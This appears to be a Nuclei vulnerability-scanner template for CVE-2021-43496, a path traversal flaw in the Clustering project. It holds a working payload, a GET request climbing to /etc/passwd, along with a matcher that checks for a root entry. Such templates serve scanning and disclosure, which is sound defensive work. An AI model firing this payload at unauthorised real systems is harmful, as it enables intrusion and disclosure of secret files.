id: CVE-2021-43496

info:
  name: Clustering LFI
  author: Evan Rubinstein
  severity: high
  description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  reference:
    - https://github.com/varun-suresh/Clustering/issues/12
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43496
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2021-43496
    cwe-id: CWE-22
  tags: cve,cve2021,lfi,clustering

requests:
  - method: GET
    path:
      - "{{BaseURL}}/img/../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"